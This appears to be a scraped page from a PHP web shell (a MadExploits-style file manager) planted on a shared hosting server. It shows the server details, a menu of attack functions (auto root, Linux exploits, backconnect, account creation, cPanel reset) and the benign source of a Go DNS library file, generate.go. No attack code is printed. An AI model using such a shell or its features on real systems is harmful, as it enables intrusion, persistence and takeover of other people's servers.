Linux id-dci-web1412.main-hosting.eu 5.14.0-611.20.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jan 14 06:35:04 EST 2026 x86_64
LiteSpeed
: 2a02:4780:6:1512:0:19fc:adf1:2 | : 216.73.216.85
Cant Read [ /etc/named.conf ]
8.1.34
u435990001
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
opt /
go /
pkg /
mod /
github.com /
miekg /
dns@v1.1.41 /
[ HOME SHELL ]
Name
Size
Permission
Action
.github
[ DIR ]
dr-xr-xr-x
dnsutil
[ DIR ]
dr-xr-xr-x
.codecov.yml
128
B
-r--r--r--
.gitignore
24
B
-r--r--r--
AUTHORS
27
B
-r--r--r--
CODEOWNERS
18
B
-r--r--r--
CONTRIBUTORS
150
B
-r--r--r--
COPYRIGHT
512
B
-r--r--r--
LICENSE
1.58
KB
-r--r--r--
Makefile.fuzz
671
B
-r--r--r--
Makefile.release
992
B
-r--r--r--
README.md
5.83
KB
-r--r--r--
acceptfunc.go
1.83
KB
-r--r--r--
acceptfunc_test.go
859
B
-r--r--r--
client.go
13.88
KB
-r--r--r--
client_test.go
16.25
KB
-r--r--r--
clientconfig.go
3.3
KB
-r--r--r--
clientconfig_test.go
4.63
KB
-r--r--r--
dane.go
997
B
-r--r--r--
defaults.go
10.3
KB
-r--r--r--
dns.go
4.34
KB
-r--r--r--
dns_bench_test.go
9.42
KB
-r--r--r--
dns_test.go
9.95
KB
-r--r--r--
dnssec.go
18.32
KB
-r--r--r--
dnssec_keygen.go
3.1
KB
-r--r--r--
dnssec_keyscan.go
6.16
KB
-r--r--r--
dnssec_privkey.go
2.27
KB
-r--r--r--
dnssec_test.go
28.57
KB
-r--r--r--
doc.go
10.54
KB
-r--r--r--
duplicate.go
953
B
-r--r--r--
duplicate_generate.go
3.95
KB
-r--r--r--
duplicate_test.go
3.77
KB
-r--r--r--
dyn_test.go
37
B
-r--r--r--
edns.go
19.69
KB
-r--r--r--
edns_test.go
3.09
KB
-r--r--r--
example_test.go
3.12
KB
-r--r--r--
format.go
2.4
KB
-r--r--r--
format_test.go
279
B
-r--r--r--
fuzz.go
536
B
-r--r--r--
fuzz_test.go
7.54
KB
-r--r--r--
generate.go
4.97
KB
-r--r--r--
generate_test.go
6.93
KB
-r--r--r--
go.mod
210
B
-r--r--r--
go.sum
1
KB
-r--r--r--
issue_test.go
1.19
KB
-r--r--r--
labels.go
4.11
KB
-r--r--r--
labels_test.go
7.88
KB
-r--r--r--
leak_test.go
1.81
KB
-r--r--r--
length_test.go
20.49
KB
-r--r--r--
listen_go111.go
881
B
-r--r--r--
listen_go_not111.go
485
B
-r--r--r--
msg.go
31.99
KB
-r--r--r--
msg_generate.go
10.22
KB
-r--r--r--
msg_helpers.go
21.54
KB
-r--r--r--
msg_helpers_test.go
11.86
KB
-r--r--r--
msg_test.go
9.12
KB
-r--r--r--
msg_truncate.go
3.4
KB
-r--r--r--
msg_truncate_test.go
5
KB
-r--r--r--
nsecx.go
2.38
KB
-r--r--r--
nsecx_test.go
4.77
KB
-r--r--r--
parse_test.go
65.88
KB
-r--r--r--
privaterr.go
3.23
KB
-r--r--r--
privaterr_test.go
3.51
KB
-r--r--r--
reverse.go
1.32
KB
-r--r--r--
rr_test.go
191
B
-r--r--r--
sanitize.go
1.98
KB
-r--r--r--
sanitize_test.go
2
KB
-r--r--r--
scan.go
29.12
KB
-r--r--r--
scan_rr.go
40.59
KB
-r--r--r--
scan_test.go
8.88
KB
-r--r--r--
serve_mux.go
3.37
KB
-r--r--r--
serve_mux_test.go
1.63
KB
-r--r--r--
server.go
21.53
KB
-r--r--r--
server_test.go
31.38
KB
-r--r--r--
sig0.go
4.59
KB
-r--r--r--
sig0_test.go
2.23
KB
-r--r--r--
singleinflight.go
1.56
KB
-r--r--r--
smimea.go
1.33
KB
-r--r--r--
svcb.go
19.95
KB
-r--r--r--
svcb_test.go
2.48
KB
-r--r--r--
tlsa.go
1.1
KB
-r--r--r--
tsig.go
10.98
KB
-r--r--r--
tsig_test.go
10.75
KB
-r--r--r--
types.go
36.03
KB
-r--r--r--
types_generate.go
8.63
KB
-r--r--r--
types_test.go
4.31
KB
-r--r--r--
udp.go
2.9
KB
-r--r--r--
udp_test.go
4.41
KB
-r--r--r--
udp_windows.go
1.15
KB
-r--r--r--
update.go
3.08
KB
-r--r--r--
update_test.go
4.38
KB
-r--r--r--
version.go
275
B
-r--r--r--
version_test.go
180
B
-r--r--r--
xfr.go
6.57
KB
-r--r--r--
xfr_test.go
2.72
KB
-r--r--r--
zduplicate.go
20.23
KB
-r--r--r--
zmsg.go
59.75
KB
-r--r--r--
ztypes.go
29.52
KB
-r--r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : generate.go
package dns import ( "bytes" "fmt" "io" "strconv" "strings" ) // Parse the $GENERATE statement as used in BIND9 zones. // See http://www.zytrax.com/books/dns/ch8/generate.html for instance. // We are called after '$GENERATE '. After which we expect: // * the range (12-24/2) // * lhs (ownername) // * [[ttl][class]] // * type // * rhs (rdata) // But we are lazy here, only the range is parsed *all* occurrences // of $ after that are interpreted. func (zp *ZoneParser) generate(l lex) (RR, bool) { token := l.token step := int64(1) if i := strings.IndexByte(token, '/'); i >= 0 { if i+1 == len(token) { return zp.setParseError("bad step in $GENERATE range", l) } s, err := strconv.ParseInt(token[i+1:], 10, 64) if err != nil || s <= 0 { return zp.setParseError("bad step in $GENERATE range", l) } step = s token = token[:i] } sx := strings.SplitN(token, "-", 2) if len(sx) != 2 { return zp.setParseError("bad start-stop in $GENERATE range", l) } start, err := strconv.ParseInt(sx[0], 10, 64) if err != nil { return zp.setParseError("bad start in $GENERATE range", l) } end, err := strconv.ParseInt(sx[1], 10, 64) if err != nil { return zp.setParseError("bad stop in $GENERATE range", l) } if end < 0 || start < 0 || end < start || (end-start)/step > 65535 { return zp.setParseError("bad range in $GENERATE range", l) } // _BLANK l, ok := zp.c.Next() if !ok || l.value != zBlank { return zp.setParseError("garbage after $GENERATE range", l) } // Create a complete new string, which we then parse again. var s string for l, ok := zp.c.Next(); ok; l, ok = zp.c.Next() { if l.err { return zp.setParseError("bad data in $GENERATE directive", l) } if l.value == zNewline { break } s += l.token } r := &generateReader{ s: s, cur: start, start: start, end: end, step: step, file: zp.file, lex: &l, } zp.sub = NewZoneParser(r, zp.origin, zp.file) zp.sub.includeDepth, zp.sub.includeAllowed = zp.includeDepth, zp.includeAllowed zp.sub.generateDisallowed = true zp.sub.SetDefaultTTL(defaultTtl) return zp.subNext() } type generateReader struct { s string si int cur int64 start int64 end int64 step int64 mod bytes.Buffer escape bool eof bool file string lex *lex } func (r *generateReader) parseError(msg string, end int) *ParseError { r.eof = true // Make errors sticky. l := *r.lex l.token = r.s[r.si-1 : end] l.column += r.si // l.column starts one zBLANK before r.s return &ParseError{r.file, msg, l} } func (r *generateReader) Read(p []byte) (int, error) { // NewZLexer, through NewZoneParser, should use ReadByte and // not end up here. panic("not implemented") } func (r *generateReader) ReadByte() (byte, error) { if r.eof { return 0, io.EOF } if r.mod.Len() > 0 { return r.mod.ReadByte() } if r.si >= len(r.s) { r.si = 0 r.cur += r.step r.eof = r.cur > r.end || r.cur < 0 return '\n', nil } si := r.si r.si++ switch r.s[si] { case '\\': if r.escape { r.escape = false return '\\', nil } r.escape = true return r.ReadByte() case '$': if r.escape { r.escape = false return '$', nil } mod := "%d" if si >= len(r.s)-1 { // End of the string fmt.Fprintf(&r.mod, mod, r.cur) return r.mod.ReadByte() } if r.s[si+1] == '$' { r.si++ return '$', nil } var offset int64 // Search for { and } if r.s[si+1] == '{' { // Modifier block sep := strings.Index(r.s[si+2:], "}") if sep < 0 { return 0, r.parseError("bad modifier in $GENERATE", len(r.s)) } var errMsg string mod, offset, errMsg = modToPrintf(r.s[si+2 : si+2+sep]) if errMsg != "" { return 0, r.parseError(errMsg, si+3+sep) } if r.start+offset < 0 || r.end+offset > 1<<31-1 { return 0, r.parseError("bad offset in $GENERATE", si+3+sep) } r.si += 2 + sep // Jump to it } fmt.Fprintf(&r.mod, mod, r.cur+offset) return r.mod.ReadByte() default: if r.escape { // Pretty useless here r.escape = false return r.ReadByte() } return r.s[si], nil } } // Convert a $GENERATE modifier 0,0,d to something Printf can deal with. func modToPrintf(s string) (string, int64, string) { // Modifier is { offset [ ,width [ ,base ] ] } - provide default // values for optional width and type, if necessary. var offStr, widthStr, base string switch xs := strings.Split(s, ","); len(xs) { case 1: offStr, widthStr, base = xs[0], "0", "d" case 2: offStr, widthStr, base = xs[0], xs[1], "d" case 3: offStr, widthStr, base = xs[0], xs[1], xs[2] default: return "", 0, "bad modifier in $GENERATE" } switch base { case "o", "d", "x", "X": default: return "", 0, "bad base in $GENERATE" } offset, err := strconv.ParseInt(offStr, 10, 64) if err != nil { return "", 0, "bad offset in $GENERATE" } width, err := strconv.ParseInt(widthStr, 10, 64) if err != nil || width < 0 || width > 255 { return "", 0, "bad width in $GENERATE" } if width == 0 { return "%" + base, offset, "" } return "%0" + widthStr + base, offset, "" }
Close